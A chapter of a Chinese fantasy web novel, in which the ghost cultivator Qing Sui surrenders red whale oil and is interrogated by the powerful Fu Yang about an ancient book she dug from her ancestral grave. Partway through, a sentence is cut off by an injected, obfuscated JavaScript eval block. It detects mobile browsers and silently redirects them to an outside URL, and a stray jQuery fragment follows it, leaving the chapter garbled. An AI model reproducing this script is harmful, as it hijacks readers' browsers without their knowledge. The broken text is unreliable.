38. 第 38 章
作品:《修仙一定要先入土为安吗》 一片动乱中,伏漾问玉增城:“这下看到了?”
玉增城哑口无言,作揖说道。
“可见仙威,果真如师祖所言,告知晚辈此次出行,仙在眼前。”
伏漾听到玉增城这句奉承话,脸上的笑却变淡了,他露出了一种思索纳闷的表情。
“仙在眼前?”伏漾重复了一遍。
“这话是你师祖说的?”
“是。”
伏漾脸上的笑容并没有回来。
他这时候想起了青祟。
食梦梧桐的树枝随之将青祟轻轻放在一旁的枝杈上。
虽然枝条一直都没有强硬地束缚住青祟,但也不会让她离开,总有一两根枝条拉扯住青祟的手腕。
丛密的树叶避开,青祟的身影显露在两人眼前。
伏漾用那双和红玛瑙似的眼睛打量着青祟,问道:“我的红鲸油呢?”
他伸出手,想一出是一出。
方才还在和玉增城交谈,如今却忽然想起青祟身上的红鲸油。
青祟将手搭在了储物袋上,拿出了那瓶小小的红鲸油。
她在拿取过程中,还在飞速思考。
她一直在听着两人对话,因此也听到了方才玉增城称呼伏漾的那句话。
不羡仙。
这个称谓让人震惊,甚至细思下来,能让人感到惊恐。
到底什么修为的人,能称得上“仙”呢?
是尊称,还是真有修士成了仙?
她所见的书籍中,只提到过真仙二字,从未有过确切的修士事迹。
那这位“不羡仙”,可能是真仙吗?
就算不是,单凭玉增城对对方的态度,青祟对其修为的猜测可谓是无边无际。
青祟看的出来,伏漾看似亲和爱笑,但实际笑意不达眼底,有一种什么都不在乎的冷漠感。
这让人很没有安全感。
将红鲸油交给他后,意味着自己的作用已经耗尽。即使获取红鲸油这件事对于他来说,其实根本用不到青祟。
青祟沉默着,将红鲸油放在手心,任由食梦梧桐的枝条卷走,将其递给伏漾。
“就这样给我了?还以为你会借其替自己多讨要一些条件呢。”
伏漾抛着这一小瓶灵液,随口问道,依旧不复之前的笑意盈盈。
青祟眼睫颤动,说道:“我自然争不过前辈,与其闹的不快,倒不如利索地将红鲸油交给前辈。”
她也学的有模有样,既然对方有不羡仙这个称呼,叫伏漾前辈准没错。
青祟停顿片刻,又补充一句:“毕竟前辈看在我是鬼修的份上,应该不会杀我。”
其实她说这话有些唐突,有些没底。
这点让青祟很烦躁,她也想要变得和伏漾一样强,这样就不会有性命握在别人手上的束缚感。
但现在她暂时将心中的焦躁按压下去。
她当然听到了伏漾说的话。
他是看在元乙是鬼修的份上,才宽容了元乙在食梦梧桐周围建立宗门。
这至少说明,鬼修这个身份在伏漾眼里一定有一些特别。
毕竟,依照玉增城所言,伏漾就是那名黑袍修士。
那么在杜府时对方注意到了自己,并让自己来灵树谷,大概率也是因为自己鬼修的身份让他动了心思,有了想法。
鬼修对伏漾来说有些作用,至少可以赌上一赌。
青祟对上了伏漾的视线。
她那双黝黑的瞳孔,带着鬼修独有的阴暗,却又不如死人的双眼一般无神涣散,青祟的双瞳墨色却摄人。
伏漾喉间溢出一声轻呵。
伏漾将红鲸油的瓶口打开,任由一旁的食梦梧桐伸来枝条,攫饮这一小瓶灵液。
“真是有趣,别的鬼修可不会像你这样,在我面前还试探着赌一赌,真是......”他想了想,说出四个字,“勇气可嘉。”
青祟对这个微妙的讽刺选择左耳进,右耳出。
一旁的玉增城看着青祟,也深感青祟的勇气。
想来是不知者才无畏。
不羡仙的名号,年轻的修士不曾听过,有阅历的修士闻或许才会悚然。
其实玉增城很希望青祟能够活下去。
自小到大他从中州仙宗学到的,便是遇鬼修杀之。
可真正见到了一名鬼修,他却觉得鬼修终究不过一个同行于修仙道途的修士罢了。
尤其是一个尚且年轻的可怜人,玉增城第一次见到青祟时,她不过练气二层,可短短几月她竟升了两层,几乎可以比拟中州仙宗的内门天才。
他向来行的是正道,自然会自己抉择何人该杀,何人该留。
而这个鬼修,天赋如此,也无嗜杀血气,他其实很希望对方能够继续走下去。
只是如今他也难以在伏漾面前替鬼修说上几句好话。
此时的伏漾表情看起来心情不算很好。
似乎是听了他方才说的“师祖所言”后,变成了如此。
为什么?难道师祖的话中深意,唯有伏漾才能听得出来因此变了脸色?
而伏漾则盯着青祟,若有所思。
他将环着元乙的金环拉过来,展示在青祟面前。
他手上贴近金环,但双眼却看着青祟,慢慢皱起眉头。
而后一言不发,张开的手掌骤然握拳!
那枚金环猛地收缩,缩回了腕镯大小,与此同时,环内周围形成一个小小的灵团,灵团内灵气肆虐,做出闷响!
那是元乙的自爆,被局限在了那一方小小的空间里。
原本愤怒绝望的自爆,成了比拳头大的一声闷响,谁也没有伤害到,唯有他自己步入了必死的命运。
实在荒谬。
伏漾对青祟说:“你猜对了,我不会杀你。”
他让食梦梧桐将青祟推向自己这边。
“但是,”伏漾的眉头依旧没有舒展,刚才那枚金环悬浮在了青祟面前,伏漾朝青祟伸出手,“这件东西,你是从哪弄来的?”
他的语气中多了一丝愠怒。
青祟看着伏漾空荡荡的手心,不明所以。
但下一刻,她便知道伏漾为何问出这句话。
伏漾的手穿过金环,猛地抓向青祟的腹部!
一阵奇异的疼痛立刻从腹部传至青祟全身,青祟几乎没有意识到伏漾想要做什么,而在意识到时,那只白皙的手已经穿过了自己的魂体。
她甚至有些恐慌,因为那手接近她的丹田。
甚至于,那种突如其来的疼痛让青祟不慎松了手,原本一直被她牢牢握在手中的龙鳞擦过枝杈,掉了下去。
龙鳞从青祟往地面上逃时,就已经没有了回应。
青祟走神,又因疼痛回神。
伏漾问的东西是什么?祟木种吗?
一个高于她修为的人,动作太快了,青祟反应不过来。
因此她眼睁睁看着那只手抓住了一样东西,慢慢又穿过金环,将手伸了回来。
青祟看向他的手,一时愣住。
他手上抓着的,的确是她的东西,却并不是祟木种。
而是那本来自杜香君、带给青祟鬼修启蒙的古老书籍。
那本《胎魂炼灵小记》。
方才伏漾,质问的是这件东西。
青祟摸向腹部,方才的疼痛消失殆尽,她的身体也没有一丝削弱的痕迹。
可方才的古怪体验,青祟忘不了。
“告诉我,这本书你是从哪里得来的?”
青祟又听一遍伏漾的问题,他语气中的不耐更加明显。
青祟老实说:“在祖坟里,挖出来的。”
此话一出,引得一旁的玉增城微微侧目。
伏漾听到这话,捏着书籍的手指顿住,他似笑非笑地看着青祟。
“你在祖坟能挖什么?掀了你祖宗的棺材板吗?”伏漾一下子问到了点子上。
青祟则默默点头。
“你的祖宗是鬼修?”
青祟摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352202|196679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头。
“那你还真是不忌讳。”伏漾随口接了一句,他正低头翻着书籍。
只看了几眼,伏漾便合上了书,不再有方才的怒气,只是多了几分百无聊赖。
他改变了方才的想法,告知玉增城一声:“日后我若想去,自会去找你师祖叙旧,你父亲,却不够格。”
他得了这本书,又得了红鲸油,此地变得乱哄哄的,也不再值得停留。
几人脚底下的巨树根系缠绕在鹿背上,巨鹿起身活动,带动树身摇晃。
青祟试图稳住身体。
然后她感觉到,一只手压在了她的肩膀上,耳边晃起清脆的碰撞声。
她听到伏漾慢悠悠地说:“忘记问了,你叫什么名字?”
青祟眉头猛地一跳。
她转头,正巧看到伏漾将手微微抬起,歪头看着她。
仿佛只是熟人拍了一下她的肩膀。
伏漾冲她笑了一下:“你拿了不属于你的东西,我本该杀了你的,即使你是个鬼修。可是我有一点很好奇。”
“食梦是个很怕生的小树,没有亲人的性子,为什么它对你有种莫名的亲和?”
“是因为你体内充当灵根的祟木种吗?”
有“不羡仙”名号的伏漾,似乎什么都知道,甚至能看出青祟体内的祟木种。
想来青祟在龙鳞面前拿出《胎魂炼灵小记》时,就被伏漾注意到了。
空白页尚有未知的文字,这本书比青祟想象的还要厉害。
连伏漾,都对其感兴趣。
“食梦把你当成了同类?”伏漾做出了一个猜想。
按理说,食梦梧桐不亲人,甚至讨厌人。
可伏漾总能注意到,枝条面对青祟时,大多时候都是施着柔和的力道。
他知道祟木种的存在,原本他以为是这个原因。
可当他让食梦梧桐抓住即将逃离灵树谷的青祟时,食梦梧桐竟然还是尽可能没伤到青祟。他可没吩咐过。
一颗小小的祟木种,显然不能让食梦如此亲近。
实在奇怪,奇怪至极。
“我说了你就放我走吗?”青祟问。
伏漾眼睛弯起来,看着青祟却不回答。
他思索着,又猜测:“还是说,那本书有——”
伏漾的后句被噎在了嘴里,青祟眼睁睁看着伏漾踩着一根枝杈,自始至终稳稳当当,此时却忽然踉跄一步。
她忽然有了一种很奇怪的感觉。
之前看不透伏漾的修为,是因为他的修为高深莫测。
可此时,青祟有种奇怪的错觉。
此时看不透他的修为,青祟竟然觉得,是因为伏漾没有修为。
她被这个离谱的念头弄的迷糊。
然后青祟又看着食梦梧桐着急地缠住伏漾的手,似乎是在稳住他。
这更加奇怪了。
看着伏漾变得有些难看的表情,青祟忽然想赌一把。
她看着伏漾,回答了对方最初的问题。
“青祟,我叫青祟。”
之后青祟没再试图稳住自己的身体,巨鹿迈出一步,高耸的树冠上便格外颠簸,她倒不如就此顺着颠簸将自己摇下去。
她盯着伏漾,发现自己并没有被对方阻拦住。
他也没再挂着最常见的自若表情。
他本低头握住食梦梧桐递来的枝条,但在听到青祟的回答后,伏漾一时没有反应过来。
谁会忽然回答一个几句话之前无心问出的问题呢?
可青祟是为了借此时机,拉开距离。
伏漾反应过来时,青祟已经看不清伏漾的神情,只知道他看了自己这边一眼。
青祟险些以为,他就要命食梦梧桐用枝条把自己从空中捞起来了。
可正相反,伏漾收回视线,谷中的金砂鹿轻轻一跃,跃到了真正的地面上。
树影和人影也因此从视线中急剧缩小,远去。
青祟随着扬起的沙土尘石,落到了深谷中。

